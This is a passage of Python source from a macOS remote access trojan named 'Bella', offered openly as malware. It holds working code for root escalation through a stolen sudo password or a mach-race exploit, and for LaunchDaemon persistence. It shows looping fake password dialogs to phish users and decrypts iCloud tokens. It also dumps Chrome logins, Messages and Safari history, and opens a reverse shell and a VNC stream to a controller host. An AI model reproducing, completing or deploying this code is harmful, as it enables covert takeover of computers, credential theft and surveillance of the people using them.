1399 if verifyPassword(cur_GUI_user(),local_pw_read().split(':')[1]):
1400 return (False, "%sUser's local password does not give us sudo access!\n" % red_minus)
1401 else:
1402 return (False, "%sLooks like user's password was changed! you may have to phish it again.\n" % red_minus)
1403 try:
1404 subprocess.check_output("echo %s | sudo -S chown 0:0 %s; echo %s | sudo -S chmod 4777 %s" % (password, ROOT_SHELL_PATH, password, ROOT_SHELL_PATH), shell=True) #perform setUID on shell
1405 except Exception as e:
1406 return (False, "%sUser's local password gives us sudo access!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e))
1407 return (True, "%sUser's local password gives us sudo access!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
1408 else:
1409 #LPEpath should be a path to an interactive root shell (thinking mach race)
1410 #### IF THIS LINE IS STILL HERE, THEN THIS MACH RACE / LPE DOES NOT WORK. Code needs to be added to actually install the shell ####
1411 cur_dir = os.getcwd()
1412 os.chdir('%s' % LPEpath)
1413 fugazy = subprocess.Popen("./root_shell.sh <<< 'chown 0:0 %s; chmod 4777 %s'" % (ROOT_SHELL_PATH,ROOT_SHELL_PATH), shell=True, stdout=PIPE, stderr=PIPE)
1414 os.chdir(cur_dir)
1415 error = fugazy.stderr.read()
1416 if not 'traceroute6: invalid wait time' in error: #perform setUID on shell
1417 return (True, "%sUser is susceptible to LPE!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
1418 else:
1419 remove_SUID_shell()
1420 return (False, "%sUser is susceptible to LPE!\n%sThere was an error setting the SUID bit and escalating.\n[%s]\n" % (greenPlus, red_minus, error.replace('\n', '')))
1421
1422def migrateToRoot(rootsPath):
1423 #precondition to this function call is that a root shell exists at /usr/local/roots and that os.getuid != 0
1424 #therefore, we will not use the do_root() function, and will instead call the roots binary directly.
1425 #we do this because we want full control over what happens. The migration is a critical process
1426 #no room for error. an error could break our shell.
1427 ### in order to test this function in development, bella must be installed through the INSTALLER script generated by BUILDER
1428
1429 relativeBellaPath = '/' + '/'.join(get_bella_path().split("/")[3:])
1430
1431 if not os.path.isfile('%sbella.db' % get_bella_path()): #if we can execute this path
1432 send_msg("Migration aborted. Could not find bella.db in\n\t[%s]" % get_bella_path(), False)
1433 return
1434 if not os.path.isfile('%sBella' % get_bella_path()): #if we can execute this path
1435 send_msg("%sMigration halted. Could not find Bella binary in:\n\t[%s].\n" % (red_minus, get_bella_path()), False)
1436 return
1437 if not os.path.isfile('/Users/%s/Library/LaunchAgents/%s.plist' % (get_bella_user(), launch_agent_name)): #if we can execute this path
1438 send_msg("%sMigration halted. Could not find LaunchAgent in:\n\t[/Users/%s/Library/LaunchAgents/%s.plist].\n" % (red_minus, get_bella_user(), launch_agent_name), False)
1439 return
1440
1441 """Create new bella location in /Library"""
1442 error = Popen("%s \"mkdir -p '%s'\"" % (rootsPath, relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1443 if error != '':
1444 send_msg("%sError creating path:\n\t%s" % (red_minus, error), False)
1445 return
1446 else:
1447 send_msg("%sCreated path '%s'.\n" % (blue_star, relativeBellaPath), False)
1448
1449 """Copy bella database from current helper_location to new one in /Library"""
1450 error = Popen("%s \"cp '%sbella.db' '%sbella.db'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1451 if error != '':
1452 send_msg("%sError copying Bella DB:\n\t%s" % (red_minus, error), False)
1453 return
1454 else:
1455 send_msg("%sCopied Bella DB '%sbella.db' to '%sbella.db'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1456
1457 """Copy bella binary from current helper_location to new one in /Library"""
1458 error = Popen("%s \"cp '%sBella' '%sBella'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1459 if error != '':
1460 send_msg("%sError copying Bella binary:\n\t%s" % (red_minus, error), False)
1461 return
1462 else:
1463 send_msg("%sCopied Bella binary '%sBella' to '%sBella'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1464
1465 """Copy bella launch_agent_name from current one to new one in /Library/LaunchDaemons"""
1466 error = Popen("%s \"cp '/Users/%s/Library/LaunchAgents/%s.plist' '/Library/LaunchDaemons/%s.plist'\"" % (rootsPath, get_bella_user(), launch_agent_name, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1467 if error != '': #cp bella db to /Library (root location)
1468 send_msg("%sError copying launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (red_minus, get_bella_user(), launch_agent_name, launch_agent_name), False)
1469 return
1470 else:
1471 send_msg("%sCopied launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (blue_star, get_bella_user(), launch_agent_name, launch_agent_name), False)
1472
1473 """Replace path to bella binary in the new launchDaemon"""
1474 error = Popen("%s \"sed -i \'\' -e 's@/Users/%s/Library/@/Library/@' /Library/LaunchDaemons/%s.plist\"" % (rootsPath, get_bella_user(), launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1475 if error != '':
1476 send_msg("%sError replacing LaunchDaemon in line:\n\t%s" % (red_minus, error), False)
1477 return
1478 else:
1479 send_msg("%sReplaced LaunchDaemon in line.\n" % blue_star, False)
1480
1481 """Load new LaunchDaemon and then 'delete' the server"""
1482 error = Popen("%s \"launchctl load -w /Library/LaunchDaemons/%s.plist\"" % (rootsPath, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1483 if 'service already loaded' not in error and error != '':
1484 send_msg("%sError loading LaunchDaemon:\n\t%s" % (red_minus, error), False)
1485 return
1486 else:
1487 send_msg("%sLoaded LaunchDaemon.\n" % blue_star, False)
1488
1489 send_msg("%sRemoving current server.\n" % yellow_star, False)
1490 removeServer()
1491 return
1492
1493def removeServer():
1494 subprocess_cleanup()
1495 destroyer = "rm -rf %s" % get_bella_path()
1496 if os.getuid() == 0:
1497 destroyer += "; rm -f /Library/LaunchDaemons/%s.plist" % (launch_agent_name)
1498 else:
1499 destroyer += "; rm -f /Users/%s/Library/LaunchAgents/%s.plist" % (get_bella_user(), launch_agent_name)
1500 os.system(destroyer)
1501 send_msg("Server destroyed.\n", True)
1502 unloader = "launchctl remove %s" % launch_agent_name
1503 os.system(unloader)
1504
1505def rooter(): #ROOTER MUST BE CALLED INDEPENDENTLY -- Equivalent to getsystem
1506 if os.getuid() == 0:
1507 send_msg("%sWe are already root.\n" % yellow_star, True)
1508 return
1509 else:
1510 send_msg("%sWe are not root. Attempting to root.\n" % blue_star, False)
1511
1512 sys_vers = str(platform.mac_ver()[0])
1513 if is_there_SUID_shell():
1514 migrateToRoot(ROOT_SHELL_PATH)
1515 send_msg('', True)
1516 return
1517
1518 if local_pw_read():
1519 send_msg("%sLocal PW present.\n" % greenPlus, False)
1520 ### We have a local password, let us try to use it to get a root shell ###
1521 binarymake = make_SUID_root_binary(local_pw_read(), None)
1522 send_msg(binarymake[1], False)
1523 if binarymake[0]:
1524 #updateDB('local user password', 'rootedMethod')
1525 #send_msg('', True)
1526 migrateToRoot(ROOT_SHELL_PATH)
1527 send_msg('', True)
1528 return
1529 else:
1530 send_msg("%sNo user password found. Run 'phish_user_pass' to phish this. It should give us root.\n" % red_minus, False)
1531
1532 if sys_vers.startswith("10.8") or sys_vers.startswith("10.9") or sys_vers.startswith("10.10") or sys_vers == ("10.11") or sys_vers == ("10.11.1") or sys_vers == ("10.11.2") or sys_vers == ("10.11.3"):
1533 zipped = readDB('mach_race', True)
1534 paths = payload_generator(zipped)
1535 dirs = '/'.join(paths.split('/')[:-1]) + '/'
1536 os.system("unzip %s -d %s" % (paths, dirs))
1537 send_msg("unzip %s -d %s\n\n" % (paths, dirs), False)
1538 root_escalate = '%sexecuter/' % dirs
1539 binarymake = make_SUID_root_binary(None, root_escalate)
1540 if binarymake[0]:
1541 #updateDB('local privilege escalation', 'rootedMethod')
1542 send_msg(binarymake[1], False)
1543 migrateToRoot(ROOT_SHELL_PATH)
1544 send_msg('', True)
1545 return
1546 else:
1547 send_msg(binarymake[1], True)
1548 remove_SUID_shell()
1549 return
1550 send_msg("%sLocal privilege escalation not implemented for OSX %s, you will need to phish the admin password instead.\n" % (red_minus, sys_vers), True)
1551 return
1552
1553def start_interactive_shell(shell_port):
1554 shelled = subprocess.Popen("python -c \"import sys,socket,os,pty; _,ip,port=('', '%s', '%s'); s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')\"" % (host, shell_port), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE )
1555 time.sleep(1)
1556 if shelled.poll():
1557 send_msg("%sFailed to start interactive shell.\nError: [%s]\n" % (red_minus, shelled.stderr.read().replace('\n', '')), True)
1558 else:
1559 send_msg('interactive_shell_init', True)
1560 return
1561
1562def tokenFactory(authCode):
1563 #now that we have proper b64 encoded auth code, we will attempt to get all account tokens.
1564 try:
1565 req = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
1566 req.add_header('Authorization', 'Basic %s' % authCode)
1567 req.add_header('Content-Type', 'application/xml') #for account settings it appears we cannot use json. type must be specified.
1568 req.add_header('X-MMe-Client-Info', '<iPhone6,1> <iPhone OS;9.3.2;13F69> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>') #necessary header to get tokens.
1569 resp = urllib2.urlopen(req)
1570 content = resp.read()
1571 tokens = []
1572 #staple it together & call it bad weather
1573 accountInfo = []
1574 accountInfo.append(plistlib.readPlistFromString(content)["appleAccountInfo"]["fullName"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["appleId"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"])
1575
1576 try:
1577 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"])
1578 except:
1579 pass
1580 try:
1581 tokens.append(plistlib.readPlistFromString(content)["tokens"]["cloudKitToken"])
1582 except:
1583 pass
1584 try:
1585 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFAppToken"])
1586 except:
1587 pass
1588 try:
1589 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMIPToken"])
1590 except:
1591 pass
1592 try:
1593 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFToken"])
1594 except:
1595 pass
1596
1597 return (tokens, accountInfo)
1598 except Exception, e:
1599 return '%s' % e
1600
1601def tokenForce():
1602 token = tokenRead()
1603 if token != False:
1604 send_msg("%sFound already generated token!%s\n%s" % (blue_star, blue_star, token), True)
1605 return 1
1606 while True: #no token exists, begin blast
1607 ### switch out for chain breaker
1608 from Foundation import NSData, NSPropertyListSerialization
1609 ### CTRLC listener
1610 if sig_int_listener(): #user hit CTRLC, cancel.
1611 return
1612 kchain = getKeychains()
1613 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
1614
1615 iCloudKey = check_output("launchctl asuser %s security find-generic-password -ws 'iCloud' '%s'" % (bella_UID, kchain))
1616 if not iCloudKey[0]:
1617 if 51 == iCloudKey[2]:
1618 send_msg("%sUser clicked deny.\n" % red_minus, False)
1619 continue
1620 elif 44 == iCloudKey[2]:
1621 send_msg("%sNo iCloud Key Found!\n" % red_minus, True)
1622 return 0
1623 else:
1624 send_msg("Strange error [%s]\n" % iCloudKey[1], True)
1625 return 0
1626 iCloudKey = iCloudKey[1].replace('\n', '')
1627
1628 msg = base64.b64decode(iCloudKey)
1629 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1630 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1631 hexedKey = binascii.hexlify(hashed)
1632 IV = 16 * '0'
1633 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1634 for x in mme_token_file:
1635 try:
1636 int(x.split("/")[-1])
1637 mme_token_file = x
1638 except ValueError:
1639 continue
1640 send_msg("%sDecrypting token plist\n\t[%s]\n" % (blue_star, mme_token_file), False)
1641 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1642 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1643 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1644 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1645 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1646 logged = updateDB(encrypt(tokz.decode('utf-8').encode('ascii', 'ignore')), 'mme_token') #update the DB....
1647 send_msg(tokz, True)
1648 return 1
1649
1650def tokenRead():
1651 token = readDB('mme_token')
1652 if not token:
1653 return token
1654 return decrypt(token)
1655
1656def chromeSSRead():
1657 sskey = readDB('chromeSS')
1658 if not sskey:
1659 return sskey
1660 return decrypt(sskey)
1661
1662def local_pw_read():
1663 pw = readDB('localPass')
1664 if not pw:
1665 return pw
1666 return decrypt(pw)
1667
1668def applepwRead():
1669 pw = readDB('applePass')
1670 if not pw:
1671 return pw
1672 return decrypt(pw)
1673
1674def set_client_name(name):
1675 updateDB(name, 'client_name')
1676 return 'updated_client_name:::%s:::%sUpdated client name to [%s].\n' % (name, blue_star, name)
1677
1678def screenShot():
1679 screen = os.system("screencapture -x /tmp/screen")
1680 try:
1681 with open("/tmp/screen", "r") as shot:
1682 contents = base64.b64encode(shot.read())
1683 os.remove("/tmp/screen")
1684 return "screenCapture%s" % contents
1685 except IOError:
1686 return "screenCapture%s" % "error"
1687
1688def send_msg(msg, EOF):
1689 global bella_connection
1690 if isinstance(msg, unicode):
1691 msg = msg.encode('utf-8')
1692 final_msg = struct.pack('>I', len(msg)) + struct.pack('?', EOF) + msg
1693 bella_connection.sendall(final_msg)
1694
1695def getWifi():
1696 ssid = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
1697 try:
1698 value = ssid.stdout.read().split('SSID: ')[-1].split('\n')[0] + ssid.stderr.read()
1699 except Exception as e:
1700 value = "AirPort: Off"
1701 return value
1702
1703def sig_int_listener():
1704 global bella_connection
1705 print 'Listener called'
1706 ### CTRLC listener
1707 bella_connection.settimeout(0.0)
1708 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
1709 print 'Checking for messge'
1710 if recv_msg(bella_connection) == 'sigint9kill':
1711 print 'Got message'
1712 sys.stdout.flush()
1713 send_msg('terminated', True) #send back confirmation along with STDERR
1714 print 'Sent terminator.'
1715 bella_connection.settimeout(None)
1716 return True
1717 except socket.error as e: #no message, business as usual
1718 pass
1719 bella_connection.settimeout(None)
1720 return False
1721
1722def user_pass_phish():
1723 userTB = cur_GUI_user()
1724 icon = readDB('lock_icon', True)
1725 if not icon:
1726 send_msg('Error generating lock icon, using system default.\n')
1727 path = ':System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:FinderIcon.icns'
1728 script = "launchctl asuser %s osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display alert \"Finder wants to make changes.\" message \"Type your password to allow this.\" default answer \"\" buttons {\"Cancel\", \"OK\"} default button \"OK\" with icon file \"%s\" with hidden answer giving up after 15'" % (bella_UID, path)
1729 else:
1730 path = payload_generator(icon).replace("/", ":")
1731 script = "launchctl asuser %s osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display dialog \"Keychain Access wants to use the \\\"login\\\" keychain. \" default answer \"\" buttons {\"Cancel\", \"OK\"} default button \"OK\" with icon file \"%s\" with hidden answer giving up after 15'" % (bella_UID, path)
1732 send_msg("Attempting to phish current GUI User [%s]\n" % userTB, False)
1733 while True:
1734 if sig_int_listener(): #user hit CTRLC, cancel.
1735 return
1736 check = local_pw_read()
1737 if isinstance(check, str):
1738 send_msg("%sAccount password already found:\n%s\n" % (blue_star, check.replace("\n", "")), False)
1739 if (not verifyPassword(userTB, check)):
1740 send_msg("%s Looks like user changed password! phishing again.\n" % red_minus, False)
1741 pass
1742 else:
1743 send_msg("",True)
1744 return 1
1745 FNULL = open(os.devnull, 'w') ## open /dev/null to pipe STDERR to it
1746
1747 try:
1748 out = subprocess.check_output(script, stderr=FNULL ,shell=True)
1749 button = out.split("button returned:")[-1].startswith("\"Deny")
1750 password = out.split("text returned:")[-1].replace("\n", "").split(", gave up")[0]
1751 send_msg("%sUser has attempted to use password: [%s]\n" % (blue_star, password), False)
1752 if password == "":
1753 continue
1754 if check_local_pass(userTB, password):
1755 return 1
1756 else:
1757 send_msg("%sUser input: [%s] failed. Trying again.\n" % (red_minus, password), False)
1758 except subprocess.CalledProcessError as e:
1759 if (e.returncode):
1760 send_msg("%sUser canceled. Trying again.\n" % (red_minus), False)
1761
1762 return 1 #this should never get here, while loop should continue indefinitely.
1763
1764def check_local_pass(user,pw):
1765 if verifyPassword(user, pw):
1766 send_msg("%sVerified! Account password is: [%s]%s\n" % (greenPlus, pw, endANSI), False)
1767 subprocess_cleanup()
1768 updateDB(encrypt("%s:%s" % (user, pw)), 'localPass') #store encrypted pass in DB
1769 send_msg("%sUsing this password to root Bella.\n" % yellow_star, False)
1770 rooter()
1771 return True
1772 else:
1773 return False
1774
1775def verifyPassword(username, password):
1776 try:
1777 output = subprocess.check_output("dscl /Local/Default -authonly %s %s" % (username, password), shell=True)
1778 return True
1779 except:
1780 return False
1781
1782def vnc_start(vnc_port):
1783 send_msg('%sOpening VNC Connection.\n' % blue_star, False)
1784 if readDB('vnc', True):
1785 payload_path = payload_generator(readDB('vnc', True))
1786 else:
1787 return "%sNo VNC payload was found"
1788 pipe = subprocess.Popen('%s -connectHost %s -connectPort %s -rfbnoauth -disableLog' % (payload_path, host, vnc_port), shell=True, stderr=subprocess.PIPE)
1789 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'VNC')
1790 send_msg('%sOpened VNC [%s].\n' % (blue_star, pipe.pid), False)
1791 send_msg('%sOpening Stream.\n' % blue_star, False)
1792 time.sleep(2)
1793 send_msg("%sStarted VNC stream over -> %s:%s\n" % (blue_star, host, vnc_port), True)
1794 return 0
1795
1796def get_bella_path():
1797 return helper_location
1798
1799def get_bella_user():
1800 return bella_user
1801
1802def bella(*Emma):
1803 ### We start with having bella only work for the user who initially runs it ###
1804 ### For now, we will assume that the initial user to run Bella is NOT root ###
1805 ### This assumption is made bc if we have a root shell, we likely have a user shell ###
1806 ###set global whoami to current user, this will be stored as the original user in DB
1807 global bella_connection
1808
1809 if not os.path.isdir(get_bella_path()):
1810 os.makedirs(get_bella_path())
1811 creator = createDB() #createDB will reference the global whoami
1812 if not creator[0]:
1813 print "ERROR CREATING DATABASE %s" % creator[1]
1814 pass
1815
1816 os.chdir("/Users/%s/" % get_bella_user())
1817
1818 if readDB('lastLogin') == False: #if it hasnt been set
1819 updateDB('Never', 'lastLogin')
1820
1821 if not isinstance(get_model(), str): #if no model, put it in
1822 output = check_output("sysctl hw.model")
1823 if output[0]:
1824 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
1825 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
1826 if not output[0]:
1827 model = 'Macintosh'
1828 else:
1829 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
1830 updateDB(model, 'model')
1831
1832 while True:
1833 subprocess_cleanup()
1834 print "Starting Bella"
1835 #rooter(). try to get root automatically. uncomment this line, if you want to run bella on say, a Guest account, and have it automatically escalate to root (via LPE) without you having to do anything.
1836 #create encrypted socket.
1837 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1838 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
1839 sock.settimeout(None)
1840 bella_connection = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE)
1841
1842 try:
1843 print 'Connecting'
1844 bella_connection.connect((host,port))
1845 print 'Connected'
1846 except socket.error as e:
1847 if e[0] == 61:
1848 print 'Connection refused.'
1849 pass
1850 else:
1851 print 'No connection: %s' % e
1852 pass
1853 time.sleep(5)
1854 continue
1855
1856 print 'Listener active, server connected'
1857 while True:
1858 try:
1859 remove_SUID_shell() #remove if it exists
1860 print '%sAwaiting%s Data' % (yellow, endANSI)
1861 data = recv_msg(bella_connection)
1862 print '%sReceived%s Data' % (green, endANSI)
1863 if not data:
1864 print 'Control disconnected'
1865 break #start listening again.
1866 elif data.startswith('cd'):
1867 path = data[3:]
1868 try:
1869 if path.startswith("~"):
1870 os.chdir(os.path.expanduser(path))
1871 else:
1872 os.chdir(path)
1873 files = []
1874 for x in os.listdir(os.getcwd()):
1875 if not x.startswith('.'):
1876 files.append(x)
1877 stdout_val = '\n'.join(files)
1878 send_msg("cwdcwd%s\n%s" % (os.getcwd(), stdout_val), True)
1879 except OSError, e:
1880 if e[0] == 2:
1881 send_msg("%sNo such file or directory.\n" % red_minus, True)
1882 else:
1883 send_msg("%sError\n%s\n" % (red_minus, e), True)
1884
1885 elif data == 'ls': #will be our default ls handler
1886 fileList = [] #this will be used for autocompletion.
1887 filePrint = []
1888 for x in os.listdir(os.getcwd()):
1889 if not x.startswith('.') and x != "Icon\r":
1890 fileList.append(x)
1891 for x in sorted(fileList):
1892 try:
1893 perm = oct(os.stat(x).st_mode)[-3:]
1894 timestamp = time.strftime("%h %e %H:%M", time.localtime(os.lstat(x).st_mtime))
1895 size = byte_convert(os.lstat(x).st_size)
1896 hardlinks = str(os.lstat(x).st_nlink)
1897 isDirectory = stat.S_ISDIR(os.lstat(x).st_mode)
1898 if isDirectory:
1899 dirString = "d"
1900 else:
1901 dirString = "-"
1902 isExecutable = False
1903 if '1' in perm or '3' in perm or '7' in perm:
1904 isExecutable = True
1905 owner = pwd.getpwuid(os.lstat(x).st_uid).pw_name
1906 group = grp.getgrgid(os.lstat(x).st_gid).gr_name
1907 permList = {"0": "---", "1": "--x", "2": "-w-", "3": "-wx", "4": "r--", "5": "r-x", "6": "rw-", "7": "rwx"}
1908 permString = "%s%s%s" % (permList["%s" % perm[0]], permList["%s" % perm[1]], permList["%s" % perm[2]] )
1909 if isDirectory:
1910 x = "%s%s%s/" % (light_blue, x, endANSI)
1911 elif isExecutable:
1912 x = "%s%s%s%s*" % (dark_green, bold, x, endANSI)
1913 else:
1914 pass
1915 fileData = [dirString + permString, hardlinks, owner, group, size, timestamp, x]
1916 filePrint.append(fileData)
1917 except:
1918 pass
1919 send_msg('lserlser' + pickle.dumps((fileList, filePrint)), True)
1920
1921 elif data == 'quit' or data == 'exit':
1922 send_msg("Exit", True)
1923 elif data == "initializeSocket":
1924 send_msg(initialize_socket(), True)
1925 elif data.startswith("payload_response_SBJ29"):
1926 payloads_encoded = data.split(':::')[1]
1927 print 'Got payloads! %s' % payloads_encoded[:20]
1928 print 'Creating DB from these payloads'
1929 if inject_payloads(payloads_encoded):
1930 send_msg('Injected payloads into Bella.\n', False)
1931 print 'Injected'
1932 else:
1933 send_msg('Error injecting payloads', False)
1934 print 'Error injecting payloads'
1935 send_msg(initialize_socket(), True)
1936 elif data == "iCloud_token":
1937 tokenForce()
1938 elif data == "insomnia_load":
1939 send_msg(insomnia_load(), True)
1940 elif data == "insomnia_unload":
1941 send_msg(insomnia_unload(), True)
1942 elif data == "screen_shot":
1943 send_msg(screenShot(), True)
1944 elif data.startswith("update_server"):
1945 send_msg("%sAttempting to update server!\n" % yellow_star, False)
1946 send_msg(update_server(pickle.loads(data[13:])), True)
1947 elif data == "chrome_safe_storage":
1948 chrome_safe_storage()
1949 elif data == "check_backups":
1950 send_msg(iTunes_backup_looker()[0], True)
1951 elif data == "keychain_download":
1952 send_msg(keychain_download(), True)
1953 elif data == "iCloud_phish":
1954 check = applepwRead()
1955 if isinstance(check, str):
1956 send_msg("%sAlready have an apple pass.\n%s\n" % (blue_star, check), True)
1957 else:
1958 send_msg("appleIDPhishHelp" + appleIDPhishHelp(), True)
1959 elif data == "appleIDsubmit":
1960 if isinstance(applepwRead(),str):
1961 send_msg("%sAlready have an apple pass.\n%s\n" % (blue_star, check), True)
1962 else:
1963 send_msg("appleIDsubmit" + appleIDPhishHelp(), True)
1964 elif data.startswith("iCloudPhishFinal"):
1965 appleIDPhish(data[16:].split(":")[0], data[16:].split(":")[1])
1966 elif data == "user_pass_phish":
1967 user_pass_phish()
1968 elif data.startswith("disableKM"):
1969 send_msg(disable_keyboard_mouse(data[9:]), True)
1970 elif data.startswith("enableKM"):
1971 send_msg(enable_keyboard_mouse(data[8:]), True)
1972 elif data == "reboot_server":
1973 send_msg(os.kill(bellaPID, 9), True)
1974 elif data == "current_users":
1975 send_msg('\033[4mCurrently logged in users:\033[0m\n%s' % check_current_users(), True)
1976 elif data == "bella_info":
1977 bella_info()
1978 elif data == "get_root":
1979 rooter()
1980 elif data == 'mike_stream':
1981 time.sleep(3)
1982 reader = readDB('microphone', True)
1983 if not reader:
1984 send_msg('%sError reading Microphone payload from Bella DB.\n' % red_minus, True)
1985 else:
1986 path = payload_generator(reader)
1987 mike_helper(path)
1988 elif data == "chrome_dump":
1989 checkChrome = chromeSSRead()
1990 if isinstance(checkChrome, str):
1991 safe_storage_key = checkChrome
1992 login_data = glob("/Users/%s/Library/Application Support/Google/Chrome/*/Login Data" % get_bella_user()) #dont want to do all
1993 for x in login_data:
1994 chrome_dump(safe_storage_key, x)
1995 send_msg('', True)
1996 else:
1997 send_msg("%sNo Chrome Safe Storage Key found!\n" % red_minus, True)
1998
1999 elif data == "iCloud_FMIP":
2000 (username, password, usingToken) = iCloud_auth_process(False)
2001 if password == False: #means we couldnt get any creds
2002 send_msg(username, True) #send reason why
2003 else:
2004 if usingToken:
2005 send_msg("%sCannot locate iOS devices with only a token. Run iCloudPhish if you would like to phish the user for their iCloud Password.\n" % red_minus, True)
2006 else:
2007 FMIP(username, password)
2008
2009 elif data == "iCloud_read":
2010 key = "%sThere is no iCloud ID available.\n" % red_minus
2011 check = applepwRead()
2012 if isinstance(check, str):
2013 key = applepwRead() + "\n"
2014 send_msg(key, True)
2015
2016 elif data == "lpw_read":
2017 key = "%sThere is no local account available.\n" % red_minus
2018 check = local_pw_read()
2019 if isinstance(check, str):
2020 key = "%s\n" % check
2021 send_msg(key, True)
2022
2023 elif data == "bella_version":
2024 send_msg('%sBella Version%s: %s\n' % (underline, endANSI, bella_version), True)
2025
2026 elif data.startswith("mitm_start"):
2027 interface = data.split(":::")[1]
2028 cert = data.split(":::")[2]
2029 mitm_start(interface, cert)
2030
2031 elif data.startswith("mitm_kill"):
2032 interface = data.split(":::")[1]
2033 certsha1 = data.split(":::")[2]
2034 mitm_kill(interface, certsha1)
2035
2036 elif data.startswith("set_client_name"):
2037 name = data.split(":::")[1]
2038 send_msg(set_client_name(name), True)
2039
2040 elif data == 'chat_history':
2041 chat_db = globber("/Users/*/Library/Messages/chat.db")
2042 serial = [] #we do all of this custom serialization because it is way faster and more space efficient.
2043 for x in chat_db:
2044 data = protected_file_reader(x)
2045 send_msg("%sFound messages DB for %s [%s]\n" % (blue_star, x.split("/")[2], byte_convert(len(data))), False)
2046 serial.append('C5EBDE1F'.join( (x.split("/")[2], data) ))
2047 send_msg("%sSending databases over.\n" % yellow_star, False)
2048 send_msg("C5EBDE1F", False)
2049 send_msg('C5EBDE1F_tuple'.join(serial), True)
2050
2051 elif data == 'safari_history':
2052 historyDb = globber("/Users/*/Library/Safari/History.db")
2053 serial = []
2054 for history in historyDb:
2055 copypath = tempfile.mkdtemp()
2056 with open('%s/safari' % copypath, 'w') as content:
2057 content.write(protected_file_reader(history))
2058 database = sqlite3.connect('%s/safari' % copypath)
2059 sql = "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') as last_visited, hi.url, hv.title FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;"
2060 content = ""
2061 with database:
2062 try:
2063 for x in database.execute(sql):
2064 x = filter(None, x)
2065 content += ' | '.join(x).encode('ascii', 'ignore') + '\n'
2066 except:
2067 pass
2068 content = bz2.compress(content)
2069 serial.append('6E87CF0B'.join((history.split("/")[2], content))) #append owner of history
2070 shutil.rmtree(copypath)
2071 send_msg("6E87CF0B", False)
2072 send_msg('6E87CF0B_tuple'.join(serial), True)
2073
2074 elif data.startswith('interactive_shell'):
2075 interactive_shell_port = data.split(':::')[1]
2076 start_interactive_shell(interactive_shell_port)
2077
2078 elif data.startswith('download'):
2079 file_name = data[8:]
2080 try:
2081 with open(file_name, 'rb') as content:
2082 file_content = content.read()
2083 send_msg("%sFound [%s]. Preparing for download.\n" % (yellow_star, file_name), False)
2084 send_msg("downloader", False)
2085 send_msg(file_content + 'dl_delimiter_x22x32' + file_name, True)
2086 except IOError, e:
2087 send_msg("%s%s\n" % (red_minus, e), True)
2088 except OSError, e:
2089 send_msg("%s%s\n" % (red_minus, e), True)
2090
2091 elif data.startswith('uploader'):
2092 (file_content, file_name) = data[8:].split('ul_delimeter_x22x32')
2093 try:
2094 send_msg("%sBeginning write of [%s].\n" % (yellow_star, file_name), False)
2095 with open(file_name, 'wb') as content:
2096 content.write(file_content)
2097 send_msg("%sSucessfully wrote [%s/%s]\n" % (blue_star, os.getcwd(), file_name), True)
2098 except IOError, e:
